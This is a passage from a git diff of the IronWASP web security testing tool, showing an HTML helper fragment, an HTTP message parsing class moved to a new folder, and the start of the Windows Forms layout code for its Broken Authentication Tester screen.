AttributeName.Equals("formaction", StringComparison.OrdinalIgnoreCase))) + { + return true; + } + else + { + return false; + } + } + + public static List NodeCollectionToNodeList(HtmlNodeCollection NodeCollec) + { + List Nodes = new List(); + if (NodeCollec != null) + { + foreach (HtmlNode Node in NodeCollec) + { + Nodes.Add(Node); + } + } + return Nodes; + } + } +} diff --git a/IronWASP/HTTPMessage.cs b/Iron/HTTPMessage.cs similarity index 97% rename from IronWASP/HTTPMessage.cs rename to Iron/HTTPMessage.cs index a14c159..20baf1e 100644 --- a/IronWASP/HTTPMessage.cs +++ b/Iron/HTTPMessage.cs @@ -1,76 +1,76 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class HTTPMessage - { - public string FirstHeader; - public HeaderParameters Headers; - public bool HasBody; - public string BodyString; - public HTTPMessage(string HTTPInput) - { - int EndOfHeaders = HTTPInput.IndexOf("\r\n\r\n"); - if (EndOfHeaders < 0) - { - EndOfHeaders = HTTPInput.Length; - } - string[] MessageParts = new string[] { "", "" }; - MessageParts[0] = HTTPInput.Substring(0, EndOfHeaders); - try - { - MessageParts[1] = HTTPInput.Substring(EndOfHeaders + 4); - } - catch { } - //string[] MessageParts = HTTPInput.Split(new string[] { "\r\n\r\n" }, 2, StringSplitOptions.RemoveEmptyEntries); - if (MessageParts.Length == 0) throw new Exception("Invalid HTTP Message Header"); - MessageParts[0] += "\r\n"; - string[] HeaderArray = MessageParts[0].Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - if (HeaderArray.Length == 0) throw new Exception("Invalid HTTP Message Header"); - FirstHeader = HeaderArray[0]; - if (FirstHeader.Length == 0) throw new Exception("Invalid HTTP Message Header"); - HeaderArray[0] = ""; - Headers = new HeaderParameters(HeaderArray); - if (MessageParts.Length == 2) - { - HasBody = true; - BodyString = MessageParts[1]; - } - } - public static byte[] GetFullMessageAsByteArray(byte[] Header, byte[] Body) - { - if (Header == null) - { - throw new Exception("Null header array passed to 'GetFullMessageAsByteArray' function"); - } - if (Body == null) - { - Body = new byte[0]; - } - byte[] FullArray = new byte[Header.Length + Body.Length]; - Header.CopyTo(FullArray, 0); - Body.CopyTo(FullArray,Header.Length); - return FullArray; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class HTTPMessage + { + public string FirstHeader; + public HeaderParameters Headers; + public bool HasBody; + public string BodyString; + public HTTPMessage(string HTTPInput) + { + int EndOfHeaders = HTTPInput.IndexOf("\r\n\r\n"); + if (EndOfHeaders < 0) + { + EndOfHeaders = HTTPInput.Length; + } + string[] MessageParts = new string[] { "", "" }; + MessageParts[0] = HTTPInput.Substring(0, EndOfHeaders); + try + { + MessageParts[1] = HTTPInput.Substring(EndOfHeaders + 4); + } + catch { } + //string[] MessageParts = HTTPInput.Split(new string[] { "\r\n\r\n" }, 2, StringSplitOptions.RemoveEmptyEntries); + if (MessageParts.Length == 0) throw new Exception("Invalid HTTP Message Header"); + MessageParts[0] += "\r\n"; + string[] HeaderArray = MessageParts[0].Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + if (HeaderArray.Length == 0) throw new Exception("Invalid HTTP Message Header"); + FirstHeader = HeaderArray[0]; + if (FirstHeader.Length == 0) throw new Exception("Invalid HTTP Message Header"); + HeaderArray[0] = ""; + Headers = new HeaderParameters(HeaderArray); + if (MessageParts.Length == 2) + { + HasBody = true; + BodyString = MessageParts[1]; + } + } + public static byte[] GetFullMessageAsByteArray(byte[] Header, byte[] Body) + { + if (Header == null) + { + throw new Exception("Null header array passed to 'GetFullMessageAsByteArray' function"); + } + if (Body == null) + { + Body = new byte[0]; + } + byte[] FullArray = new byte[Header.Length + Body.Length]; + Header.CopyTo(FullArray, 0); + Body.CopyTo(FullArray,Header.Length); + return FullArray; + } + } +} diff --git a/Iron/Hawas/BrokenAuthTester.Designer.cs b/Iron/Hawas/BrokenAuthTester.Designer.cs new file mode 100644 index 0000000..f829df8 --- /dev/null +++ b/Iron/Hawas/BrokenAuthTester.Designer.cs @@ -0,0 +1,1245 @@ +namespace IronWASP.Hawas +{ + partial class BrokenAuthTester + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle6 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(BrokenAuthTester)); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.ConfigurePanel = new System.Windows.Forms.Panel(); + this.label2 = new System.Windows.Forms.Label(); + this.ShowDocLL = new System.Windows.Forms.LinkLabel(); + this.HostnamesScopeTree = new System.Windows.Forms.TreeView(); + this.FindCandidatesBtn = new System.Windows.Forms.Button(); + this.groupBox1 = new System.Windows.Forms.GroupBox(); + this.label1 = new System.Windows.Forms.Label(); + this.LogRangeEndTB = new System.Windows.Forms.TextBox(); + this.LogRangeStartTB = new System.Windows.Forms.TextBox(); + this.LogRangeBetweenIdsRB = new System.Windows.Forms.RadioButton(); + this.LogRangeAllRB = new System.Windows.Forms.RadioButton(); + this.FileTypesScopeGrid = new System.Windows.Forms.DataGridView(); + this.dataGridViewCheckBoxColumn1 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.label5 = new System.Windows.Forms.Label(); + this.ConfigureStepProgressBar = new System.Windows.Forms.ProgressBar(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.SelectCandidatesBaseSplit = new System.Windows.Forms.SplitContainer(); + this.label3 = new System.Windows.Forms.Label(); + this.TestSelectedCandidatesBtn = new System.Windows.Forms.Button(); + this.CandidatesStepProgressBar = new System.Windows.Forms.ProgressBar(); + this.SelectCandidatesBotttomSplit = new System.Windows.Forms.SplitContainer(); + this.FilterTree = new System.Windows.Forms.TreeView(); + this.SplitContainerLogsSplit = new System.Windows.Forms.SplitContainer(); + this.CandidatesGrid = new System.Windows.Forms.DataGridView(); + this.SelectClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.HostNameSelectClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.MethodClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.URLClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.FileClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SSLClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.ParametersClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.CodeClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.LengthClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ClmnMIME = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.SetCookieClmn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.NotesClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.ResultsBaseSplit = new System.Windows.Forms.SplitContainer(); + this.ResultsTopSplit = new System.Windows.Forms.SplitContainer(); + this.ResultsStepProgressBar = new System.Windows.Forms.ProgressBar(); + this.label4 = new System.Windows.Forms.Label(); + this.ResultsGrid = new System.Windows.Forms.DataGridView(); + this.IDClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.HostNameClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestedUrlClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestIdClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalVsTestClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalRequestBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.OriginalResponseBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestRequestBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.TestResponseBinaryStringClmn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.ResultsBottomTabs = new System.Windows.Forms.TabControl(); + this.tabPage11 = new System.Windows.Forms.TabPage(); + this.tabControl5 = new System.Windows.Forms.TabControl(); + this.tabPage22 = new System.Windows.Forms.TabPage(); + this.tabPage19 = new System.Windows.Forms.TabPage(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.tabControl3 = new System.Windows.Forms.TabControl(); + this.tabPage16 = new System.Windows.Forms.TabPage(); + this.tabPage15 = new System.Windows.Forms.TabPage(); + this.tabPage7 = new System.Windows.Forms.TabPage(); + this.LogDisplayTabs = new System.Windows.Forms.TabControl(); + this.tabPage29 = new System.Windows.Forms.TabPage(); + this.tabPage12 = new System.Windows.Forms.TabPage(); + this.SessView = new IronWASP.SessionView(); + this.OriginalVsTestResponseDRV = new IronWASP.DiffResultView(); + this.OriginalVsTestRequestDRV = new IronWASP.DiffResultView(); + this.TestResponseView = new IronWASP.ResponseView(); + this.TestRequestView = new IronWASP.RequestView(); + this.OriginalResponseView = new IronWASP.ResponseView(); + this.OriginalRequestView = new IronWASP.RequestView(); + this.BaseTabs.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.ConfigurePanel.SuspendLayout(); + this.groupBox1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FileTypesScopeGrid)).BeginInit(); + this.tabPage2.SuspendLayout(); + this.SelectCandidatesBaseSplit.Panel1.SuspendLayout(); + this.SelectCandidatesBaseSplit.Panel2.SuspendLayout(); + this.SelectCandidatesBaseSplit.SuspendLayout(); + this.SelectCandidatesBotttomSplit.Panel1.SuspendLayout(); + this.SelectCandidatesBotttomSplit.Panel2.SuspendLayout(); + this.SelectCandidatesBotttomSplit.SuspendLayout(); + this.SplitContainerLogsSplit.Panel1.SuspendLayout(); + this.SplitContainerLogsSplit.Panel2.SuspendLayout(); + this.SplitContainerLogsSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.CandidatesGrid)).BeginInit(); + this.tabPage3.SuspendLayout(); + this.ResultsBaseSplit.Panel1.SuspendLayout(); + this.ResultsBaseSplit.Panel2.SuspendLayout(); + this.ResultsBaseSplit.SuspendLayout(); + this.ResultsTopSplit.Panel1.SuspendLayout(); + this.ResultsTopSplit.Panel2.SuspendLayout(); + this.ResultsTopSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ResultsGrid)).BeginInit(); + this.ResultsBottomTabs.SuspendLayout(); + this.tabPage11.SuspendLayout(); + this.tabControl5.SuspendLayout(); + this.tabPage22.SuspendLayout(); + this.tabPage19.SuspendLayout(); + this.tabPage4.SuspendLayout(); + this.tabControl3.SuspendLayout(); + this.tabPage16.SuspendLayout(); + this.tabPage15.SuspendLayout(); + this.tabPage7.SuspendLayout(); + this.LogDisplayTabs.SuspendLayout(); + this.tabPage29.SuspendLayout(); + this.tabPage12.SuspendLayout(); + this.SuspendLayout(); + // + // BaseTabs + // + this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; + this.BaseTabs.Controls.Add(this.tabPage1); + this.BaseTabs.Controls.Add(this.tabPage2); + this.BaseTabs.Controls.Add(this.tabPage3); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(884, 561); + this.BaseTabs.TabIndex = 0; + this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); + // + // tabPage1 + // + this.tabPage1.BackColor = System.Drawing.Color.White; + this.tabPage1.Controls.Add(this.ConfigurePanel); + this.tabPage1.Controls.Add(this.ConfigureStepProgressBar); + this.tabPage1.Location = new System.Drawing.Point(4, 25); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(876, 532); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = " Configure "; + // + // ConfigurePanel + // + this.ConfigurePanel.Controls.Add(this.label2); + this.ConfigurePanel.Controls.Add(this.ShowDocLL); + this.ConfigurePanel.Controls.Add(this.HostnamesScopeTree); + this.ConfigurePanel.Controls.Add(this.FindCandidatesBtn); + this.ConfigurePanel.Controls.Add(this.groupBox1); + this.ConfigurePanel.Controls.Add(this.FileTypesScopeGrid); + this.ConfigurePanel.Controls.Add(this.label5); + this.ConfigurePanel.Location = new System.Drawing.Point(0, 47); + this.ConfigurePanel.Name = "ConfigurePanel"; + this.ConfigurePanel.Size = new System.Drawing.Size(876, 485); + this.ConfigurePanel.TabIndex = 29; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(12, 11); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(703, 13); + this.label2.TabIndex = 35; + this.label2.Text = "The Broken Authentication Tester is used to discover the sections of the site whe" + + "re authenication based access control is not properly implemented."; + // + // ShowDocLL + // + this.ShowDocLL.AutoSize = true; + this.ShowDocLL.Location = new System.Drawing.Point(12, 36); + this.ShowDocLL.Name = "ShowDocLL"; + this.ShowDocLL.Size = new System.Drawing.Size(122, 13); + this.ShowDocLL.TabIndex = 34; + this.ShowDocLL.TabStop = true; + this.ShowDocLL.Text = "How to use this feature?"; + this.ShowDocLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ShowDocLL_LinkClicked); + // + // HostnamesScopeTree + // + this.HostnamesScopeTree.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.HostnamesScopeTree.BackColor = System.Drawing.Color.White; + this.HostnamesScopeTree.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.HostnamesScopeTree.CheckBoxes = true; + this.HostnamesScopeTree.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.HostnamesScopeTree.Location = new System.Drawing.Point(201, 157); + this.HostnamesScopeTree.Margin = new System.Windows.Forms.Padding(0); + this.HostnamesScopeTree.Name = "HostnamesScopeTree"; + this.HostnamesScopeTree.ShowPlusMinus = false; + this.HostnamesScopeTree.ShowRootLines = false; + this.HostnamesScopeTree.Size = new System.Drawing.Size(452, 323); + this.HostnamesScopeTree.TabIndex = 31; + this.HostnamesScopeTree.AfterCheck += new System.Windows.Forms.TreeViewEventHandler(this.HostnamesScopeTree_AfterCheck); + this.HostnamesScopeTree.BeforeCollapse += new System.Windows.Forms.TreeViewCancelEventHandler(this.HostnamesScopeTree_BeforeCollapse); + // + // FindCandidatesBtn + // + this.FindCandidatesBtn.Location = new System.Drawing.Point(475, 71); + this.FindCandidatesBtn.Name = "FindCandidatesBtn"; + this.FindCandidatesBtn.Size = new System.Drawing.Size(178, 23); + this.FindCandidatesBtn.TabIndex = 30; + this.FindCandidatesBtn.Text = "Find Suitable Candidates"; + this.FindCandidatesBtn.UseVisualStyleBackColor = true; + this.FindCandidatesBtn.Click += new System.EventHandler(this.FindCandidatesBtn_Click); + // + // groupBox1 + // + this.groupBox1.Controls.Add(this.label1); + this.groupBox1.Controls.Add(this.LogRangeEndTB); + this.groupBox1.Controls.Add(this.LogRangeStartTB); + this.groupBox1.Controls.Add(this.LogRangeBetweenIdsRB); + this.groupBox1.Controls.Add(this.LogRangeAllRB); + this.groupBox1.Location = new System.Drawing.Point(15, 100); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(638, 47); + this.groupBox1.TabIndex = 29; + this.groupBox1.TabStop = false; + this.groupBox1.Text = "Select the Log Range to include in Scope:"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(329, 25); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(16, 13); + this.label1.TabIndex = 27; + this.label1.Text = "to"; + // + // LogRangeEndTB + // + this.LogRangeEndTB.Enabled = false; + this.LogRangeEndTB.Location = new System.Drawing.Point(352, 22); + this.LogRangeEndTB.Name = "LogRangeEndTB"; + this.LogRangeEndTB.Size = new System.Drawing.Size(100, 20); + this.LogRangeEndTB.TabIndex = 3; + this.LogRangeEndTB.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.LogRangeEndTB_KeyPress); + // + // LogRangeStartTB + // + this.LogRangeStartTB.Enabled = false; + this.LogRangeStartTB.Location = new System.Drawing.Point(220, 22); + this.LogRangeStartTB.Name = "LogRangeStartTB"; + this.LogRangeStartTB.Size = new System.Drawing.Size(100, 20); + this.LogRangeStartTB.TabIndex = 2; + this.LogRangeStartTB.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.LogRangeStartTB_KeyPress); + // + // LogRangeBetweenIdsRB + // + this.LogRangeBetweenIdsRB.AutoSize = true; + this.LogRangeBetweenIdsRB.Location = new System.Drawing.Point(103, 25); + this.LogRangeBetweenIdsRB.Name = "LogRangeBetweenIdsRB"; + this.LogRangeBetweenIdsRB.Size = new System.Drawing.Size(115, 17); + this.LogRangeBetweenIdsRB.TabIndex = 1; + this.LogRangeBetweenIdsRB.Text = "Only Logs from ID "; + this.LogRangeBetweenIdsRB.UseVisualStyleBackColor = true; + // + // LogRangeAllRB + // + this.LogRangeAllRB.AutoSize = true; + this.LogRangeAllRB.Checked = true; + this.LogRangeAllRB.Location = new System.Drawing.Point(19, 25); + this.LogRangeAllRB.Name = "LogRangeAllRB"; + this.LogRangeAllRB.Size = new System.Drawing.Size(62, 17); + this.LogRangeAllRB.TabIndex = 0; + this.LogRangeAllRB.TabStop = true; + this.LogRangeAllRB.Text = "All Logs"; + this.LogRangeAllRB.UseVisualStyleBackColor = true; + this.LogRangeAllRB.CheckedChanged += new System.EventHandler(this.LogRangeAllRB_CheckedChanged); + // + // FileTypesScopeGrid + // + this.FileTypesScopeGrid.AllowUserToAddRows = false; + this.FileTypesScopeGrid.AllowUserToDeleteRows = false; + this.FileTypesScopeGrid.AllowUserToResizeRows = false; + this.FileTypesScopeGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.FileTypesScopeGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.FileTypesScopeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; + this.FileTypesScopeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.FileTypesScopeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn1, + this.dataGridViewTextBoxColumn1}); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.FileTypesScopeGrid.DefaultCellStyle = dataGridViewCellStyle2; + this.FileTypesScopeGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.FileTypesScopeGrid.GridColor = System.Drawing.Color.White; + this.FileTypesScopeGrid.Location = new System.Drawing.Point(15, 157); + this.FileTypesScopeGrid.Margin = new System.Windows.Forms.Padding(0); + this.FileTypesScopeGrid.MultiSelect = false; + this.FileTypesScopeGrid.Name = "FileTypesScopeGrid"; + this.FileTypesScopeGrid.ReadOnly = true; + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle3.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.FileTypesScopeGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle3; + this.FileTypesScopeGrid.RowHeadersVisible = false; + this.FileTypesScopeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.FileTypesScopeGrid.Size = new System.Drawing.Size(168, 323); + this.FileTypesScopeGrid.TabIndex = 28; + this.FileTypesScopeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FileTypesScopeGrid_CellClick); + // + // dataGridViewCheckBoxColumn1 + // + this.dataGridViewCheckBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn1.HeaderText = ""; + this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; + this.dataGridViewCheckBoxColumn1.ReadOnly = true; + this.dataGridViewCheckBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn1.Width = 20; + // + // dataGridViewTextBoxColumn1 + // + this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn1.HeaderText = "SELECT FILE TYPES TO INCLUDE IN SCOPE"; + this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; + this.dataGridViewTextBoxColumn1.ReadOnly = true; + this.dataGridViewTextBoxColumn1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(8, 75); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(390, 13); + this.label5.TabIndex = 26; + this.label5.Text = "Provide a Scope for finding candidates suitable for Broken Authentication Testing" + + ""; + // + // ConfigureStepProgressBar + // + this.ConfigureStepProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigureStepProgressBar.Location = new System.Drawing.Point(254, 14); + this.ConfigureStepProgressBar.Name = "ConfigureStepProgressBar"; + this.ConfigureStepProgressBar.Size = new System.Drawing.Size(347, 23); + this.ConfigureStepProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.ConfigureStepProgressBar.TabIndex = 0; + // + // tabPage2 + // + this.tabPage2.BackColor = System.Drawing.Color.White; + this.tabPage2.Controls.Add(this.SelectCandidatesBaseSplit); + this.tabPage2.Location = new System.Drawing.Point(4, 25); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(876, 532); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = " Select Candidates "; + // + // SelectCandidatesBaseSplit + // + this.SelectCandidatesBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.SelectCandidatesBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.SelectCandidatesBaseSplit.Location = new System.Drawing.Point(3, 3); + this.SelectCandidatesBaseSplit.Name = "SelectCandidatesBaseSplit"; + this.SelectCandidatesBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // SelectCandidatesBaseSplit.Panel1 + // + this.SelectCandidatesBaseSplit.Panel1.Controls.Add(this.label3); + this.SelectCandidatesBaseSplit.Panel1.Controls.Add(this.TestSelectedCandidatesBtn); + this.SelectCandidatesBaseSplit.Panel1.Controls.Add(this.CandidatesStepProgressBar); + // + // SelectCandidatesBaseSplit.Panel2 + // + this.SelectCandidatesBaseSplit.Panel2.Controls.Add(this.SelectCandidatesBotttomSplit); + this.SelectCandidatesBaseSplit.Size = new System.Drawing.Size(870, 526); + this.SelectCandidatesBaseSplit.SplitterDistance = 70; + this.SelectCandidatesBaseSplit.SplitterWidth = 2; + this.SelectCandidatesBaseSplit.TabIndex = 0; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(5, 47); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(633, 13); + this.label3.TabIndex = 36; + this.label3.Text = "Select requests that belong to the authenticated section of the site but contain " + + "a Session ID that has expired or has been invalidated."; + // + // TestSelectedCandidatesBtn + // + this.TestSelectedCandidatesBtn.Location = new System.Drawing.Point(5, 12); + this.TestSelectedCandidatesBtn.Name = "TestSelectedCandidatesBtn"; + this.TestSelectedCandidatesBtn.Size = new System.Drawing.Size(178, 23); + this.TestSelectedCandidatesBtn.TabIndex = 31; + this.TestSelectedCandidatesBtn.Text = "Test Selected Candidates"; + this.TestSelectedCandidatesBtn.UseVisualStyleBackColor = true; + this.TestSelectedCandidatesBtn.Visible = false; + this.TestSelectedCandidatesBtn.Click += new System.EventHandler(this.TestSelectedCandidatesBtn_Click); + // + // CandidatesStepProgressBar + // + this.CandidatesStepProgressBar.Location = new System.Drawing.Point(217, 12); + this.CandidatesStepProgressBar.Name = "CandidatesStepProgressBar"; + this.CandidatesStepProgressBar.Size = new System.Drawing.Size(620, 23); + this.CandidatesStepProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.CandidatesStepProgressBar.TabIndex = 1; + this.CandidatesStepProgressBar.Visible = false; + // + // SelectCandidatesBotttomSplit + // + this.SelectCandidatesBotttomSplit.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.SelectCandidatesBotttomSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.SelectCandidatesBotttomSplit.Location = new System.Drawing.Point(0, 0); + this.SelectCandidatesBotttomSplit.Name = "SelectCandidatesBotttomSplit"; + // + // 